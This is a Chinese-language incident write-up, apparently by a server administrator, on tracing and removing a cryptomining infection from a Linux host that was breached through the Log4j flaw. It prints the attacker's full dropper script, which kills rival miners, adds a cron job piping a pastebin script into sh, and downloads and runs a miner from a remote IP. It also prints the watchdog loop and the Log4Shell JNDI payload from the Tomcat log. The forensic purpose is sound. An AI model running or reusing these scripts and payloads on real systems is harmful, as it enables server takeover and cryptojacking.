liunx挖矿程序排查思路

最近收到一个阿里云安全告警，在这里写一下自己的排查思路，与大家交流一下:
安全告警邮件

查看异常情况

输入top，输入shift + P会按照cpu的使用率大小从大到小进行排序，发现有异常进程7140与7129

[root@www-site-ec-6 ]# ps -ef | grep 7140 
root      7140     1  9 02:51 ?        00:40:40 /bin/sh /tmp/.mimu/apache.sh
root     30662  7140  0 09:50 ?        00:00:00 ps aux
root     30663  7140  0 09:50 ?        00:00:00 grep -v grep
root     30664  7140  0 09:50 ?        00:00:00 grep cpu-force-autoconfig
root     30665  7140  0 09:50 ?        00:00:00 awk {print $2}
root     30666  7140  0 09:50 ?        00:00:00 xargs -i kill -9 {}
root     30671  1075  0 09:50 pts/0    00:00:00 grep --color=auto 7140
[root@www-site-ec-6 ]# ps -ef | grep 7129
root      7129     1  9 02:51 ?        00:40:54 /bin/sh /tmp/.mimu/apache.sh
root      7304  7129  0 02:51 ?        00:00:01 /tmp/.mimu/kthmimu
root     10903  1075  0 09:51 pts/0    00:00:00 grep --color=auto 7129
root     10905  7129  0 09:51 ?        00:00:00 ps aux
root     10906  7129  0 09:51 ?        00:00:00 grep -v grep
root     10907  7129  0 09:51 ?        00:00:00 grep kinsing
root     10908  7129  0 09:51 ?        00:00:00 awk {print $2}
root     10909  7129  0 09:51 ?        00:00:00 /bin/sh /tmp/.mimu/apache.sh

可以确认挖坑脚本是 apache.sh
一般我们需要获取到入侵脚本看一下这个脚本操作了什么,然后把之进行反向操作即可，所以我们现在去获取到这个脚本

 /tmp/.mimu/apache.sh 
[root@www-site-ec-6 ]# cd /tmp/.mimu/
[root@www-site-ec-6 .mimu]# ll
total 5808
-rw-r--r-- 1 root root    2492 Oct 18 02:51 config.json
-rwxr-xr-x 1 root root 5940672 Oct 18 02:51 kthmimu
被入侵时间是02：51

我们发现这个脚本不存在了，这个时候我们先进行一下盲查

排查

定时任务

[root@www-site-ec-6 .mimu]# crontab -l 
*/5 * * * * curl -fsSL https://pastebin.com/raw/cuRBc3hn | sh
怀疑是危险的脚本进行注释  
[root@www-site-ec-6 .mimu]# crontab -e
crontab: installing new crontab
[root@www-site-ec-6 .mimu]# crontab -l
#*/5 * * * * curl -fsSL https://pastebin.com/raw/cuRBc3hn | sh

rc.loacl

[root@www-site-ec-6 ~]# cat /etc/rc.local 
#!/bin/bash
# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
#
# It is highly advisable to create own systemd services or udev rules
# to run scripts during boot instead of using this file.
#
# In contrast to previous versions due to parallel execution during boot
# this script will NOT be run after all other services.
#
# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
# that this script will be executed during boot.

touch /var/lock/subsys/local

没有被添加开机自启动的内容

查看最近进行修改的文件

[root@www-site-ec-6 ~]# find . -type f -mtime -1 >/root/change_file_list.txt #这个是把一天修改过的内写入文件

对这个文件生成的 change_file_list.txt 文件进行查看，重点关注 02：51左右进行修改的文件,查看所有文件，我这边排查没有可疑的内容。

清理

[root@www-site-ec-6 /]# kill 7129
[root@www-site-ec-6 /]# kill 7140
[root@www-site-ec-6 tmp]# ll -a
total 40
drwxrwxrwt. 10 root root 4096 Oct 18 09:55 .
dr-xr-xr-x. 24 root root 4096 Oct 18 10:05 ..
drwxrwxrwt.  2 root root 4096 Oct 15  2017 .font-unix
drwxr-xr-x   2 root root 4096 Jun  8 01:02 hsperfdata_root
drwxrwxrwt.  2 root root 4096 Oct 15  2017 .ICE-unix
drwxr-xr-x   2 root root 4096 Oct 18 09:52 .mimu
drwxrwxrwt.  2 root root 4096 Oct 15  2017 .Test-unix
drwxrwxrwt.  2 root root 4096 Oct 15  2017 .X11-unix
drwxrwxrwt.  2 root root 4096 Oct 15  2017 .XIM-unix
[root@www-site-ec-6 tmp]# rm -rf .mimu

被侵入原因

仔细查看入侵日志

其中执行了危险命令，进行查看，获取了危险代码

#!/bin/sh
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
pkill -9 -f mysqldd
pkill -9 -f monero
pkill -9 -f kinsing
pkill -9 -f sshpass
pkill -9 -f sshexec
pkill -9 -f cnrig
pkill -f /tmp/.mimu
pkill -9 -f attack
pkill -9 -f dovecat
pkill -9 -f donate
pkill -9 -f 'scan\.log'
pkill -9 -f xmr-stak
pkill -9 -f crond64
pkill -9 -f stratum
pkill -9 -f /tmp/java
pkill -9 -f /tmp/system
pkill -9 -f excludefile
pkill -9 -f agettyd
pkill -9 -f /dev/shm
pkill -9 -f /var/tmp
pkill -9 -f '\./python'
pkill -9 -f '\./crun'
pkill -9 -f '\./\.'
pkill -9 -f 'xmrig'
pkill -9 '\.6379'
pkill -9 'load\.sh'
pkill -9 'init\.sh'
pkill -9 '\.rsyslogds'
pkill -9 pnscan
pkill -9 masscan
pkill -9 ladaras
pkill -9 kthgado
pkill -9 kdevtmpfsi
pkill -9 solrd
pkill -9 meminitsrv
pkill -9 networkservice
pkill -9 sysupdate
pkill -9 phpguard
pkill -9 phpupdate
pkill -9 networkmanager
pkill -9 knthread
pkill -9 mysqlserver
pkill -9 watchbog
pkill -9 xmrig
pkill -9 bashirc
pkill -9 zgrab
killall -9 /tmp/*
killall -9 /var/tmp/*
crontab -l | grep -e "cuRBc3hn" | grep -v grep  
if [ $? -eq 0 ]; then
  echo "cron good"
else
  (
    crontab -l 2>/dev/null
    echo "*/5 * * * * curl -fsSL https://pastebin.com/raw/cuRBc3hn | sh"
  ) | crontab -
fi
for i in $(ls /proc|grep '[0-9]'); do
  if ls -al /proc/$i 2>/dev/null|grep kthmimu 2>/dev/null; then
     continue
  fi
  if grep -a 'donate' /proc/$i/exe 1>/dev/null 2>&1; then
    kill -9 $i
  fi
  if ls -al /proc/$i | grep exe | grep "/var/tmp\|/tmp"; then
    kill -9 $i
  fi
done
ProcNumber=$(ps auxf|grep kthmimu|awk '{if($3>=70.0) print $2}')
Proc=""$ProcNumber
if [ -z "$Proc" ]
then
    ps auxf|grep -v grep | awk '{if($3>=70.0) print $2}'| xargs kill -9
    pkill -9 -f '/tmp/\.'
    mkdir /tmp/.mimu
    curl -fsSL http://61.97.188.42:8080/config.json -o /tmp/.mimu/config.json
    curl -fsSL http://61.97.188.42:8080/x.rar -o /tmp/.mimu/kthmimu
    curl -fsSL http://61.97.188.42:8080/apache.sh -o /tmp/.mimu/apache.sh
    chmod +x /tmp/.mimu/kthmimu
    chmod +x /tmp/.mimu/apache.sh
    nohup /tmp/.mimu/apache.sh 1>/dev/null 2>&1 &
    sleep 2
    rm -f /tmp/.mimu/apache.sh
fi

分析问题代码，发现它确实只留下了一个定时任务，并且在最后删除了apache.sh
打开apache.sh 脚本

while true
do
    killall -q -9 kdevtmpfsi
    killall -q -9 kinsing
    ps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'dbused' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'cpu-force-autoconfig' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kvm.sh' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'elastic.sh' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep '/var/tmp/.postgres/' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'xmrig' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'xmr' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kthreaddk' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kthreaddi' | awk '{print $2}' | xargs -i kill -9 {}
    PROC_NAME=kthmimu
    ProcNumber=`ps -ef |grep -w $PROC_NAME|grep -v grep|wc -l`
    if [ $ProcNumber -le 0 ];then
        nohup /tmp/.mimu/kthmimu 1>/dev/null 2>&1 &
    fi
done

从脚本可以看出来，我们清理没有问题的，但是需要进行检查是否有被误杀的进程。
那么这个脚本为什么会被执行，我们看看tomcat的日志

192.168.0.125 - - [18/Oct/2022:02:51:11 +0800] "GET /?id=%24%7Bjndi%3Aldap%3A%2F%2F218.24.200.243%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vNjEuOTcuMTg4LjQyOjgwODAvbHIuc2ggfHNo%7D HTTP/1.0" 200 57 0.213

从这个特征可以确认漏洞原因：我们的应用存在log4j安全漏洞